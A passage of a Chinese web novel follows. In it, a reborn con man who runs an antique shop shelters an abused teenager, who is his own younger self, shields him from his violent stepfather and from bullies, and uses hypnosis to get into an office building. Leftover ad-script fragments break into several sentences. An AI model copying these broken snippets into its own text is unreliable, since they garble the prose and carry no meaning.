那道声音尖细,似乎要把房子顶起来。陆离耳朵轰鸣,咬着牙心中突然升起戾气。 为什么,别人的孩子可以在父母的怀里尽情地撒娇,而他却只能被人厌恶。被自己的亲生母亲厌恶。 可能就像苏梅说的那样,他生下来就是错误的。 他眼睛越来越红,有那么一瞬间,他想把周围的人都杀了。 手中的酒瓶高高地举起来,可最终,陆离没有砸下去,瓶子重重的碎在旁边的桌子上。 赵国强似乎早就知道会这样,他看着地上的玻璃碴,又看着陆离,咧着的嘴逐渐收起来,一掌打在陆离的脸上:“小兔崽子,想造反了是吧。” 陆离嘴角发麻,压着眼睛看他,却被赵国强压着小声说:“你只要打老子一下,我明天就在你妈身上还回来。” 苏梅在旁边,不知道听没听见这句话,一个字没说。 陆离将拳头逐渐松开,赵国强笑了,接着一脚踹在陆离的肚子上,嘴里还在骂骂咧咧:“你那是什么眼神,胆子肥了,现在就敢打老子,操你妈的小杂种。” 他眼睛在房间内扫了一圈,最后抡起房间里的木头椅子。 陆离还在抱有期待,眼睛看向身边的苏梅,苏梅坐在地上,脸上露出毛骨悚然的笑。 放在平时,他可能还能躲躲赵国强的殴打,但是今天,他倏然不想动了。 心中有个念头,倏然觉得死了也不错。 他眼睁睁地看着椅子朝他落下来,然后闭上了眼睛。 就在这时,门口传来了敲门声,一声一声的不急不缓的,赵国强顿了一下,谨慎地看向门口。 他们家的门常年没有被敲响过,周围的邻居也知道他家的情况,都是能躲多远就躲多远。 “谁?”赵国强提声开口。 陆离也睁开眼。 门口没有回声,又敲了两边,“砰砰砰”,这个动静惹火了赵国强,他暴躁地扔下木椅,走过去:“敲敲敲,敲你妈的敲。” 一个高挑英俊的男人站在门口,他眼神低垂着,看不清神色,顿了一下才抬起头,声音低沉:“打扰。” 陆离听到声音的那一刻,猛然抬起头。 是……那个人。 古董店的老板。 他来干什么? 傅生站在门口,是惯有的带笑的表情,就是不知道是不是陆离的错觉,今天的笑有些冷。赵国强从上到下将他打量了一圈。 可能是见傅生的穿着不像是寻常人家,赵国强的语气缓和了不少:“干什么?” 傅生眼睛向里看了一眼:“我找他。” 赵国强顺着他的目光看过去,戒备地问:“陆离?他怎么了?” “没怎么,”傅生的眼睛里情绪不明,冷淡地说,“就是欠了我点东西。不知道你想怎么还?” “东西?”赵国强问,“什么东西?” 傅生:“几块玻璃。” “几块玻璃也好意思要钱,”赵国强嗤笑一声。 傅生将自己的明信片递过去,上面的古董铺几个字格外显眼,他说:“玻璃倒是不贵,不过年头足,算下来几千块。” 赵国强在看到明信片的时候就皱了眉,又一听好几千,整个人的脸色变得很难看,朝着陆离吼道:“一天到晚的就知道给老子惹事。”说着就又要下手朝着陆离打下去。 却不料被身后一只手紧紧地牵制住,他回头看过去,瞪着眼睛看着傅生:“你干吗。” “不想赔就直接说。”傅生脸上的笑意没了,神情变得有些骇人,“当着我的面打人干什么?” 赵国强惯会窝里横,他在黑市场那边混迹了很多年,什么人能惹,什么人不能惹差不多能看出来。 傅生虽然长得斯文,但那双漆黑望不见底的眼睛压住的戾气比姜龙那些混混更甚。 赵国强心中生了惧意,表面上却不显,朝着地上呸了一声:“老子没钱给你还,什么时候把麻烦解决完再回来。” “砰”的一声门被关上。 陆离捏着拳头站在门口,看着紧合的房门,好半晌开口:“我没钱还你。” 这句话被他压得很低,傅生站在他身后,他的目光落在陆离不知道什么时候被挂坏的衣服,还有脸上被打没有消下去的巴掌印上。 “吃晚饭了吗?”傅生目光移开,忽略胸口处升起来的不知何种的情绪。 陆离这才扭头,乌黑的眸子带着些许惊讶地看着他。 不是说赔偿吗? 但傅生没有给他开口的机会,转身向楼上走去,“跟上。” 陆离跟着人上楼,一直到站在门口,他才像是回过神来:“这个楼上的租户是你?” 所以,他下午放学的时候看着的影子真是傅生。 傅生拿着钥匙开门:“怎么,不行?” 陆离绷着脸颊不说话了。 在他们北川这个小地方,能开古董店的人肯定非富即贵,他想不明白放着好好的地方不住,倒来这个破败的老楼房是什么心理。 思考的工夫,傅生已经打开了门,陆离之前来过楼上,里面破破烂烂的,比他家好不哪里去。 而现在,虽然不能说得上多豪华,但该有的家具都有,风格也像傅生这个人一样,像一幅淡彩的黑白画。 陆离站在门口也不进门,只有一双乌黑的眼睛看着人,傅生向后看了一眼,笑了:“杵在那里装木头人吗?” 陆离的话不多,小的时候,苏梅带着他辗转了跟多地方,白天苏梅外面打工,陆离就一个人待在宿舍里,一待就是一整天,饿了就拿着饼干啃,渴了会自己踮着脚尖去接凉水喝。 没有人陪他玩,也没有人和他说话。 傅生对于那时 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 候的记忆已经很模糊了,只记得宿舍的人会嫌弃地上都是饼干碎渣,对他和苏梅每天冷嘲热讽。 “带着累赘还住宿舍,什么素质。” “是啊,一个老女人带着一个小累赘。” 也正是因为如此,陆离每到别人的家里,下意识的反应就是担心会把别人的地板弄脏。可能,这是他自己都没有意识到的习惯。 傅生叹了一口气,将人在门口拉进房间里,他目光落在陆离胳膊上:“我之前给你的药没用?” 陆离下意识地想说一句关你屁事,但是又生生咽下去,好半晌才憋出来一句:“没。” 只是不知道是不是他的错觉,他觉得傅生的眉眼间淡了几分,“为什么不用?” 陆离抿唇,脸颊绷紧成一条线。 他身上的伤口从来没有断过,用了也是浪费。 况且,也没有人关心他身上有没有伤。 他倔强地站在那里,也不说话。 傅生皱眉,看了陆离半晌。最后冷着脸在还没来得及收拾的箱子里翻了半天,翻出来两个创可贴出来。 “手。”傅生说。 就算是陆离对傅生不熟悉,也看出了傅生这会儿心情似乎不太好。他原本要张口怼人的,但不知道为什么,鬼使神差地将手伸了出去。 之前没有感觉,直到这会看见,陆离才发现自己的掌心已经不能看了。 除了被自己掐的伤口,还有被赵国强摔在地上的时候,掌心按在玻璃碴上,血肉模糊的一片。 陆离咬唇,睫毛颤了颤,低垂眼睛不去看掌心。 他从小就有点晕血。 傅生见他这副样子,神情才好看了一点:“现在知道怕了?” “没怕。”陆离嘴硬。 傅生笑了一声:“没怕闭什么眼?” 陆离垂下眼眸不吭声,傅生也不逗他了,垂着眸子将陆离手上的血用棉签蘸去,又贴上创可贴:“这两天别碰水。” 陆离小声地嗯了一声。 傅生将沾着血的棉签收拾好,开门向外走。 陆离绷着脸问:“你——干什么去?” “干什么去,”傅生没好气地说,“买菜。” 他刚搬过来没几天,里面什么吃的东西都没有。他顿了一下,其实不论是刚才下楼敲门,还是让陆离上楼来,都是临时起意。 现在人都叫来了,总不能让人饿着肚子吧。 好在松里穷是穷了点,路边好多卖菜的摊贩,傅生挑了几样,卖菜的大妈说:“像你这么年轻自己买菜做饭的年轻人可不多了。” 傅生礼貌道谢:“多少钱。” 卖菜大妈可能看傅生穿得好,看起来又好说话,将菜称好了又说:“这几样哪够吃,再多挑几样。你看我这个苦瓜,茄子,都是从地里刚摘的。” “谢谢,”傅生付了钱,“家里的小鬼挑嘴得很,不买了。” 他小时候,其实有很多东西不爱吃,这个习惯别人都不知道,只有他自己知道。因为当时的条件,根本容不得他挑食。 傅生提起菜离开,后面卖菜的大妈在后面喊:“小孩挑嘴可不行,不能养成这个坏习惯。” 傅生嘴角扯了一下。 回到家的时候,陆离对着门站着,似乎在等他回来。 傅生将手上的菜提进厨房:“吃面,还是喝粥?” 陆离闷了好大会,才说:“粥。” 傅生将粥煮上,收拾菜的时候,陆离一言不吭地就站在他身边看着他,吃饭的时候也是。 傅生自从重生之后,胃口就一直不太好,只吃了两口就放下了筷子,他看着陆离嘴上的伤,轻声开口。 “你晚上就睡在这儿吧。” 房子虽然刚收拾出来,住个人还是没问题的。 话声刚落,一直低着头扒饭的陆离倏然停了下来。 傅生端起旁边的水杯,疑惑地看向他。 陆离捏着筷子,憋了好半晌,才闷头说出来一句:“我不喜欢男人。” 傅大老板从容优雅的姿态差点没绷住。 “?” 9. 第 9 章 这话摆明了觉得傅生不是好人,对他别有所图。 好好好,对自己别有所图。 傅生几乎都要气笑了,“年纪不大,从哪里学的这些乱七八糟的东西?” 陆离闷声不说话,只有黑黝黝的眼神戒备的看着对面的人。 他和傅生见过面的次数一只手都能数过来,一个人不会无缘无故的对你好,除非那个人对你有所图谋。 陆离不知道自己身上有什么值得傅生图的,除了这身皮囊还能看看。 “行了,别用这眼神盯着我了,”傅生哭笑不得:“我晚上回古董店,不住这儿。” 说完,他又补充,“安心吃饭,你身上那几两肉还不值得我惦记。” 直到回去的路上,傅生还觉得有点好笑,他不记得自己之前这么喜欢脑补。 “今天瞧着心情不错,”蒋文站在古董店门口,“这么快就到手了?” 傅生收了笑,看向他:“你怎么还没走?” 蒋文谄媚的笑了两声:“嘿嘿,我这不是看你古董店这么大,晚上得有一个守着的人吧,所以就把在那边租的房子退了。” 傅生也没有多说什么,就当默认了,古董店的二楼空余房间很多,也不多一个人住。 蒋文跟在他后面:“你今天晚上怎么回来了,我以为你在松里那边住呢。” “嗯,”傅生将外套随手的挂在衣架上,“小鬼今天住那。” “陆离住你家?”蒋文惊讶,“他家不是就在你租的房子楼下吗?” 傅生手指捏着茶杯,抿着唇没说话,这会儿安静下来,他才开始思考今天的事。上辈子见惯了形形色色的人,对于赵国强这种社会低层的蛆虫,傅生都懒得看一眼。 但是今天听着楼下的声音,有赵国强的,有苏梅的,唯独没有陆离的,他们吼叫,摔着东西,拿着血缘关系来压制一个十五岁的孩子,那一刻,傅生形容不出来是什么感觉。 这是他以前经历过得事情,他记得以前自己对赵国强铺天盖地的恨意。 但是现在作为一个局外人看着眼前的这一切,除了怒气,心脏还有一种像是被蚊虫叮咬的感觉。 他分不清那是什么。 等他再回过神来的时候,就已经站在了楼下门口。 “傅生?”蒋文看着傅生坐在沙发上,眉眼被压着很低,表情有些吓人,他没忍住开口。 傅生收了情绪看向他:“什么事?” 其实没什么事,不过蒋文觉得自己不说点什么,又会遭受傅老板审视的目光。 于是他想了想说:“既然姓陆的小鬼都住在你家里去了,你还骗什么,等他睡着直接把玉偷出来,多省事。” 傅生斜他一眼:“我现在才知道现在骗子业务还得兼职抢劫。” 黑行业内部有一条明确的鄙视链,高智商的行骗在行业的顶端,最看不上的就是这种小偷小摸。 蒋文当然也知道这个,不过他对于这条鄙视链是嗤之以鼻的。 毕竟饭都吃不饱的时候,谁会在意这些。 当然,行业大佬除外。 知道自己说了一个蠢问题,蒋文做了一个动作封了自己的嘴:“当我没说。” “古董店的生意怎么样?”傅生移开目光。 蒋文说:“来了几个,都是看了几眼就走了。” 毕竟谁想花钱买个假古董。 当然,这话他也只敢在心里腹诽,不敢说出来。 傅生点头:“嗯,明天你就不用在店里了。” 蒋文一愣:“那我去干什么?” “郑顺畅这个大生意,没人盯着可不行,”傅生说,“你去盯他。” 蒋文:“......” 合理的怀疑是这位大少爷的报复。 去盯人哪里有待在店里舒服,飞吹日晒的,万一暴露,搞不好还被人打一顿,蒋文试图挣扎一下:“我去盯人,这个店不就没人看了吗?” “别担心,”傅生唇角弧度上扬,“我已经找到了更适合的人了。” 蒋文:“谁?” 谁敢抢他的活。 傅生:“明天你就知道了。” * 直到第二天,傅生将人带回来,蒋文才知道是谁抢了他的活。 他站在门口,一脸震惊的指着傅生身后的人。 “你怎么把这个小子给带来了?” 陆离个子稍微比傅生矮半头,斜挎着书包,一股子冷气。 那双乌沉沉的眼睛盯着人,明明年龄不大,蒋文却下意识的向后退了一步。 “以后你就在这个店里,”傅生说,“砸碎的玻璃钱在你工钱里面扣。” 蒋文说:“他不用上学啊?” “今天周末,”傅生看他一眼,“平时放学后过来。” 蒋文哦了一声,用那种哄骗人的口吻问:“哎,叔叔问你,傅老板一个月给你开多少钱啊。” 陆离看都不看他,径直的走过去,坐到看店的椅子上。 “嘿,你这个小孩,怎么这么没礼貌,大人给你说话呢,”蒋文扭头跟傅生告状,“我说傅老板,你这是请了一个祖宗回来吧?” “行了,你别惹他了,”傅生嘴角轻扯,拍了一下他肩膀,“跟我出去一趟。” * “你带着我来这里做什么?” 蒋文看着前边的商业大楼,有些疑惑地问。 傅生:“最近郑顺昌去国外回来了,我们进去去看看。” “出国了?应该是为了建筑工人出事出去避风头去了,但我们知道了也没有用啊,”蒋文说,“这个商业楼有门禁,明令禁止外人进去。” “谁说没用?”傅生挑了一下眉,已经径直的走了过去。 蒋文:“?” 不是这么刚的吗? 他起身抓紧跟了上去。 只是两个人刚走到门口,就被门口的人拦下来了。 “你好,先生,我好像没有见过你,请出示一下你的工作证号码?” 门口工作人员面无表情的看着人,一板一眼的说。 蒋文压低声音对着傅生说:“我都告诉你了,这里不让进。” “等着。”傅生说。 蒋文:“?” 等什么? 接着,就看到一直带着笑意的傅生倏然冷下脸来,“我,你们都敢拦?是不是不想干了。” 这个变脸速度把蒋文吓了一跳,这嚣张跋扈的气质,有点不像傅生。 门口的工作人员也被吓到了,他们互相看了一眼,试探性地问:“您是?” “睁大你们的狗眼好好看看,”傅生眸眼漆深,“还是认不出我是谁吗?” 蒋文怕被打,向傅生的身后藏了下,他在身后探头偷看。很快他就发现,眼前两个工作人员严肃的脸开始空白,眼睛也逐渐变得迷茫。 再次睁眼时,他们脸上惊恐道:“原来是郑少爷,对不起,没有认出您来。” 郑少爷? 郑顺昌的儿子? 蒋文更疑惑了。 这里哪里有他儿子。 傅生脸上依旧是那副不可一世的神态,不爽道:“还不快开门。” 工作人员唯恐得罪这位平日里就跋扈的少爷,抓紧打开门。 蒋文看着这一切看的瞠目结舌,直到站在商业楼的大厅里,他才捏了捏自己的脸:“我靠, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不是做梦。” “我靠我靠,这是什么,催眠吗?”他震惊地看向傅生,“你怎么做到的?” 傅生笑道:“想试试吗?” “不了不了,”蒋文快速地摇头,又很快露出喜悦的表情,盘算道,“你有这本事,以后我们两个可不得黑史留名。” 两个人在商业大楼里转了一圈,套出来了不少有用的信息,比如郑顺昌下个月会有一个重要的商业签约。再比如蒋文在上厕所时,还听到了不少的八卦,郑顺昌和自己的秘书搞上了,被原配发现了,原配将这件事闹到了公司。 现在那个秘书已经半个月没有露面了。 蒋文听八卦听得津津有味,直到傅生在旁边嫌弃看他:“再不走,一会自己出去。” “来了来了,”蒋文快速地跟上,他可没有本事自己跟上去。 门口的工作人员毕恭毕敬的将他们两个送出去。 “你有这个本事,”蒋文不解地说,“直接去找郑顺昌不就行了,为什么费这么大劲?” 傅生侧着眼睛看了他几秒,才回答:“不是所有的人都适合催眠。” “你看他们的眼睛,”他指了指刚才的两个人,“他们两个人长期重复一样的工作,精神集中度相对较低,郑顺昌这种企业家,能混到这种地位,你觉得他的精神内核会这么弱吗?” 对于这种精神力强的人,只有面对他喜欢或者感兴趣的事物时,注意力才会被全部吸引。 郑顺昌爱好什么? 古玉。 蒋文似懂非懂的啊了一声,又问:“你是不是想在下个月的商业合作上动手?” 傅生确实是这么想的,还有一个月的时间,他的眼睛眯了一下。 一个月够了。 * 两个人回去的时候,太阳西沉,街上的人忙忙碌碌地差不多都回家了。 整条巷子里空荡荡的,没有多少人。 ——但古董店门口除外。 “不是,我今天才刚走,”蒋文看着那群人说,“生意就这么好?” 傅生看着人眉眼冷了下去。 姜龙带着四五个年龄不大的混混围在门口。 “是不是那个臭小子。”有个黄毛问。 姜龙看了看门口古董店的招牌,又看着陆离坐在里面,对着身后的人一招手:“把人揪出来。” 他抬起的手还没有收起来,便被一个巨大的力道拦住,胳膊一瞬间被反背过去,姜龙措不及防,疼出吃呀咧嘴。 “草,你们瞎了还是聋了,我让你们去揪那个小子,”姜龙暴躁出声,“谁让揪我——” 话还没说完,姜龙回头就看见一个高挑的男人站在身后,正半垂着眸子神色冷淡地看着他。 身后的小弟想要围上来,蒋文一个反擒将人按在地上,腿还趁机扫了一个想搞偷袭的,三五下地上小混混收拾的差不多了,他开口喊道:“傅老板,这几个你打算怎么办?” 姜龙恼了:“你谁啊?” 看着斯斯文文的,劲真大,挣脱了几下都没挣脱开。 傅生:“未经允许,闯我的铺子不合适吧?” “这是你的?”姜龙手被牵制住,脸色很难看,“我他妈的又不抢你东西,就进去抓个人关你什么事?” 陆离怕那群人砸坏店里东西,刚想出门,傅生的声音传了过来。 “可能要关我的事,因为——”他一顿,声音一如既往地不急不缓,“人我也要护着。” 陆离抬头愣了一下,后来怎么样,他记不清了。 只记得红霞满天,傅生站在光下,以至于有些看不清他的脸。 ……那是第一次,有人说要护着他。 10. 第 10 章 姜龙这次带的人少,又碰到了硬茬,留下句狠话:“你给我等着。”就灰溜溜地带着人跑了。 蒋文看着那群人,在后面喊道:“孙子,爷爷等着呢。” “出来干什么?”傅生扭头,看着陆离站在门口,他皱眉道,“有人打你,你不知道跑,还上赶着让人打,你是傻的吗?” 可能因为傅生刚才的话,陆离这次罕见地没有开口,只低垂着睫毛不知道想什么。 “真傻了?”傅生走过去,俯身刚想看看这小鬼怎么回事。 陆离却向后猛侧了一下,拿着书包,冷冰冰地说:“到点了,先走了。”说着,头也不回地就出了古董店,甚至出门的时候,还撞到了蒋文身上。 “嘶,你这个小子疯了,”蒋文痛斥一声,却连个书包角都没有抓住,他揉了揉被撞的地方,看着傅生道,“你怎么惹到他了?” 傅生看着不远处的身影,逐渐在夕阳下消失得没影了,他嘴角动了一下。 这别扭的性格,如今看着还挺讨喜的。 若是这话被蒋文听到,他会觉得傅生疯了。 这个没礼貌,又冷又倔的二八小子管讨喜? 好在他这会正没心没肺地吐槽:“我也不知道你从哪里认识的这么个小孩,天天冷着一张脸,你是有什么受虐倾向吗?” 傅生没理他,收回目光,向前走了几步倏然顿住。 蒋文:“怎么了?” 傅生抿了一下唇,姜龙今日在古董店没有堵到人,那明天。 陆离在学校向来没有什么朋友。 他成绩不好,学校老师也不待见他,每次上课都是趴在最后一排,趴到放学就回家。 “你们看他脸上的伤,又给人打架去了。” “他在我们班,可怕死了。也不知道他怎么升上的咱们学校。” “嘘,别说了,万一被他听到,你们想挨打啊?” 放学后,陆离面无表情地从人群走过去。学校里的人都怕他躲着他,陆离对此没有太大的感觉,毕竟小时候也是这样过来的。 他不会主动跟别人说话,周围人自然也不会搭理他。 只是在这样的环境中,学校里总是有人会看不惯他性格,召集几个人,在放学的时候堵着他。 陆离打了多少次架已经记不清了,有时候他赢,有时候别人赢,脸上的伤也从没有间断过。 他出了校门之后,果不其然,有一帮穿着校服的男生拿着棍子,在学校拐角的围墙底下看着他。 又是来打架的。 陆离眼睛一沉,将校服脱下来拿在手里,刚走了一步,身后有道声音喊住了他。 “干什么去?” 陆离一愣,回头看着傅生站在人模人样地站在门口。 他来干什么? 傅生像是看透了他的想法,向前走几步,眼睛带笑地看着他:“来看看我的欠债人是不是想跑。” 陆离脸上露出无语的表情,只是他不会表达情绪,只是冷着脸说:“没有。” “没有?”傅生看着这副冷脸,“我的古董店似乎不是在那边吧。” 确实不在那边,但是那边有人想打架。 陆离闷着声不开口,只是沉着眼睛朝着刚才墙角的那几个想打架的人看。 傅生早就注意到了这一点,带着笑朝着那边看了过去。 “怎么,那几个熊孩子是你的好朋友?” 陆离:“……” 眼睛没瞎三十年之上,都不会得出这个结论。 “看来是闹别扭了,”傅生笑着说,“需不需要我帮你缓和一下你们的关系。” 说着,傅生迈着长腿,就朝着熊孩子那边走过去。 熊孩子们哪里见过这种阵仗。十几岁的小孩和同龄人打架还可以,一旦有大人掺和进来,他们就开始慌了。 “快走快走。”几个人将棍子丢掉,一溜烟地跑了。 傅生啧了一声看向陆离,语气就跟多可惜似的:“看来你的朋友们不太喜欢我。” 陆离无语,看着周围的人将卫衣的帽子向脸上扣了扣,转身就走。 傅生脸上笑意更大了,只是回头瞥了一眼身后的那群人,眼光冷了下去。 从学校到古董店,路不算太长,傅生却在一路上瞧见了七八个向外晃的脑袋。 每当触及他的目光时,那些脑袋又嗖的一声缩了回去。 他像看戏一样看了一路,还抽空给了个评价:“你的朋友们还挺有意思的。” 陆离很想知道有意思在哪里,乌黑眼球看向傅生。 “你看,”傅生弯着眼睛说,“他们一探一缩的像不像某种动物。学名叫什么来着,哦,鳖。” “……” 骂人王八就王八。 陆离就知道这个人嘴里说不出什么好话。他转身快走了几步,转身走进了古董店里。 进门的时候,蒋文跟个大爷一样盘着腿坐在椅子上,他耳朵尖,听到动静麻溜地放下来。 刚想起身,就撞到了陆离这张冷脸。又一屁股坐了回去。 “不是哥们,你进门的时候,能不能有点动静。”蒋文说。 陆离站在他面前,冷冰冰地说:“让,我的位置。” 蒋文:“?” 什么时候,这个地方成了你的位置。 他起身,决定教训教训这个不知道天高地厚的小子。 刚撸起胳膊,傅生走进来,看他动作,眉心挑了一下:“你这是要?” 蒋文觉得傅生对于这个小鬼绝对的非同一般。 毕竟来上班都要傅大老板亲自接,他就没有这个待遇。 蒋文只能掩饰下自己刚才想打人心思。 “哈哈哈,”他干笑一声,“我就是有点热,起来活动一下。” 傅生说:“那刚好,桌子上的那几个花瓶落灰了,你拿出去洗一下。” “为什么不叫小鬼去洗。”蒋文不服。 “也可以,”傅生对于这个提议没意见,“他要是把我的古董花瓶摔了,钱在你工资里扣。” 蒋文:“凭什么?” 陆离这次没憋着,开口说:“我没工资。” 嗯。确实如此。 傅生嘴角轻扯,蒋文打眼看去,一大一小两个人同时看着他。 一个冷脸,一个笑脸,令人讨厌如出一辙。 好,他洗。 被小的欺负完,继续又要被大的欺负。 蒋文气鼓鼓地拿着旁边的花瓶出了门,真不知道是不是上辈子欠他们的。 蒋文一走,房间内瞬间静了下来。 陆离垂着眸子坐在老位置上,这个古董店没有多少人来,只有偶尔能听见巷子里的吆喝声。 实在闲得无聊,陆离在书包里掏出书,虽然他不听课,但是作业还是要写的。 学校的规定,作业统一交到级部里,不完成的作业的次数超过三次,就会被请家长。 陆离没有家长可请。 他趴在桌子上,笔摩擦的声音飒飒地擦过桌子,阳光铺在房间里,偶尔的时候,他抬头,可以看见傅生双腿交叠地坐在皮质的沙发上看着报 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 纸。 再或者,看见傅生的目光落在他身上,眼神戏谑,似乎是抓住他走神这件事让他心情十分的愉悦。 陆离不爽皱眉,声音冷咧咧的:“看什么。” 还挺凶。 “你不看我,怎么知道我看你?”傅生问。 其实从另一个旁人的视角来看自己,还是挺稀奇的,他少年时竟然是这样的吗? 时间太久,竟然有些忘了。 所以傅生每次看着这张稚嫩的冷脸,总是想多逗几句。 陆离一时被堵得说不出话,他眼睛在桌子上逛了几圈,最后定在那瓶墨水上。 泼在某人脸上应该是够解气了。 他抬起来,刚想伸手,傅生又在旁边悠悠地开口:“想清楚,得罪老板的后果。” 陆离的手收回去。 傅生笑了,拿着一杯茶喝了,一边饶有兴味地看着小时候自己吃瘪的样子。 但是傅大老板忘了一句话,风水轮流转,他自己也没有想到报应来得这么快。 傅宇阳站在门口,仰着牌子看古董店的招牌。 吴倩戳了戳他:“进去啊,你杵这里干什么?” “哎呀你别捣,”傅宇阳皱着眉,不耐烦地说,“你给我瞧瞧,这个牌子上的字是不是变了。” 吴倩闻言,果真抬头向上看:“还真是,城南成了浮生。” “他竟然敢改古董店的名字,他凭什么?”傅宇阳说。 “是啊,他凭什么擅自改,”吴倩随口应和,“走,找他去。” 傅生早就听见了两个人的动静,但是他没有起身,反而优哉游哉地喝着茶。 “傅生,我问你,”傅宇阳一进门就开口呵斥,“你为什么改了古董店的名字。” 傅生看他一眼:“嗯?有什么问题吗?” 吴倩在一旁说:“这么大的事,你这孩子怎么也不和我们商量商量,我们最起码也是傅家人,古董店也算我们的产业吧,这事做得有点过分了吧。” 傅宇阳说:“没家教,今天你非得给我交代。” 夫妻两个你一句,我一句,声音越来越大。 他们想着一会等傅生一会受不了生气反驳他们的时候,刚好借题发挥。 谁知道傅生不仅没有生气,一双眼睛还带着笑意:“抱歉,下次一定?” 傅宇阳被气得不轻:“你竟然还想下次?” “最近还没有这个想法,”傅生很敷衍,“有的时候再说。” “你——”傅宇阳瞪着眼睛你了半天,也没说出后面的话。 原本想着让傅生生气,没有想到先把自己惹得气得不轻。 但是最可气的是,不论他说什么,对方都是一副不急不缓的样子,还优哉游哉地喝着茶。 傅宇阳鼻子出气,气得在房间里转了几圈,转到一半的时候,他才发现房间里多了一个人。 一个看上去年龄不大的少年人,正冷着一张脸,黑黝黝的眼睛一动不动的盯着他们。 傅宇阳这会心情不好,粗着声音没好气地问:“你谁啊,哪家的毛孩子。” 傅生端起一杯茶,在旁边坐着看戏。 他想看看陆离怎么应对他这个没脑子还蠢笨的二叔。 陆离看了傅生一眼。 刚才的事,他还没报复回来。 他乌黑眼珠动了一下,须臾移开眸子,声音冷冰冰地说:“问他,我是他私生子。” 傅生刚喝进去的一口茶差点呛出来。 疯了? 自己给自己当儿子可还行。 11. 第 11 章 蒋文刚好回来,听到这句话的时候瓶子一个没拿稳,啪的一声掉在地上。 房间内除了那一道声响,然后陷入一团死寂。 傅宇阳夫妇先是一愣,接着像是占了多大把柄一样,也不揪着牌匾的事情不放了。 吴倩:“这看着不吭不响的,孩子都这么大了?” 傅宇阳拽着吴倩向外走远,笑得有些蠢:“这下老爷子还不打断他的腿。” 说着,这两口子就跑了。 房间里静下来,蒋文在一旁嘀嘀咕咕:“我就说对这个臭小子不一样。” 他自言自语完了,又抬脸看向傅生,一脸八卦:“你怎么不早点告诉我。” 傅生斜眼看他:“你脑子也跟着花瓶一起洗掉了?” 蒋文被傅老板那双眼睛一看,也瞬间冷静下来。 他刚才果真是脑子坏掉了。 傅生看着也不过二十岁,去哪里找一个十五六岁的私生子。 他干笑两声,意图蒙混过去:“我就说嘛。长得也不像。” 不过话又说回来,长得虽然不像,但有时候乍然一看,眸眼之间,还真有什么地方相似。 当然,这话蒋文没敢说。 傅生眼睛移向看着地上的玻璃碴子:“钱在你工资里扣。” 蒋文欲哭无泪,为什么受伤的总是他。 傅生又看向一边的始作俑者。 陆离做完坏事,乌黑的眼睛里竟然罕见地有一丝笑。 傅生看着一愣。 原来这小子并不是只有冷冰冰的模样。 陆离也像是意识到什么,快速恢复冷脸,扭过头别扭地说:“时间到了。” “惹了事就要跑?”傅生说,“我这位私生子不喊人来听听。” 陆离说:“我敢喊你敢应吗?” 说着,也不等傅生的回答,头也不回地离开古董店,竟然有一丝落荒而逃的意味。 傅生看着前方独属于少年薄瘦的背影,眼睛弯了一下。 没良心。 “行了,傅老板,别看了,”蒋文收拾玻璃碴子收拾得崩溃,“这些碎片怎么弄,扎死我了。” 傅生:“自己想办法。” 两个人收拾完的时候,已经到了晚上六七点钟,蒋文忙了一天累得够呛,斜趴在沙发上装死。 傅生冷着眼睛,坐在沙发上不知道在想什么。 挂着的灯投下带着点黄的灯光,光影压在傅生的眉宇间,莫名阴郁。 蒋文看着人,傅生看着斯文脾气很好的样子,大多数的时候笑意是不达眼底的。 那点好脾气就像是给人幻觉。 就在这时,汽车行驶的声音一起打断了两个人。 傅老爷子被司机扶着走过去,到门口时,他说:“你在车里等我就行,小张。” 说完,自己拄着龙头拐杖走进来,他的两鬓虽然花白,但是身体还算是硬朗,几步就到了门前。 他先是抬头看了看牌坊的名字:“何须更问浮生,只此浮生若梦。浮生,好名字。” 傅生看着傅老爷子没说话。 无论是上辈子还是现在,他都没有怎么和长辈沟通的经验,更何况,他也不是真的傅生,只是附生在上面的孤魂而已。 直到傅老爷子走进来,傅生才起身,礼貌疏离地问了一句:“您怎么来了?” “我来看看,”傅老爷子慈爱地说。 傅生心中说,恐怕是听傅宇阳说了什么,来问罪的吧。 果不其然,傅老爷子说:“我听你二叔说什么私生子?这是怎么回事。” 傅生眸中沉下来:“他们怎么说的。” “生儿,爷爷来这里没有其他意思,就是来问问,”傅老爷子伸手安抚地在傅生肩膀上拍了拍,“若是真的有个生儿孩子,爷爷帮你认回去,你别为此担心,爷爷永远可以为你托底。” 原本以为傅老爷子是来问罪的,听到这话傅生愣了一下。 零几年的时候,社会还没有开放,私生子私生女这些现象,正是被人们唾弃的时候。 傅生这般巧舌如簧的人,竟然因为别人的话,一时忘了开口。 直到傅老爷子的眼睛移到沙发上,他有些老花眼,出门的时候走得急,也没有戴眼镜,只能看到沙发上黑乎乎的一团。 “这里是那个孩子?”傅老爷子走过去,“孩子,让爷爷看看。” 他朝着那团黑漆漆的脑袋上摸去。 原本一直在装死的蒋文吓了一跳。 “爷爷,”他下意识地喊,“你摸错人了,我不是私生子。”说完,蒋文又暗呸一声,“根本没有什么私生子。” 蒋文起来,傅老爷子才看清楚这黑乎乎的一团。 这私生子的年龄也大了些。 他眼神疑惑地看向傅生:“生儿,这——” 傅生看着两个人都受到惊吓的样子,哑然失笑:“他是我朋友。” “朋友?”傅老爷子还没有转过弯来,“生儿,这到底是怎么回事?” 傅文将下午的事情给傅老爷子说了一遍,蒋文在旁边负责添油加醋。 傅老爷子听完之后,敲得拐杖邦邦作响:“这个畜生,简直太过分了,竟然还在打你的主意。” “是啊,”蒋文在市井上混迹了好多年,对于这种争夺财产的戏码背得炉火纯青,“若不是我和陆离那个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 小鬼帮忙,傅生要被欺负死了。” “我找他们去!”傅老爷愤怒地起身,司机下车扶着他,他倏然想起来什么,在上车之前转身说,“生儿,改天带着你朋友们来家里吃饭。” 傅生在傅老爷子期待的眼神中没有说话,蒋文将话接了过去:“放心吧爷爷,等过几天我们一起去拜访您。” 傅老爷子这才满意地走了。 蒋文回头,看着傅生站在路边神色不明,他大概明白什么,伸手在傅生背上拍了一下:“走了。” * 陆离最讨厌下雨。 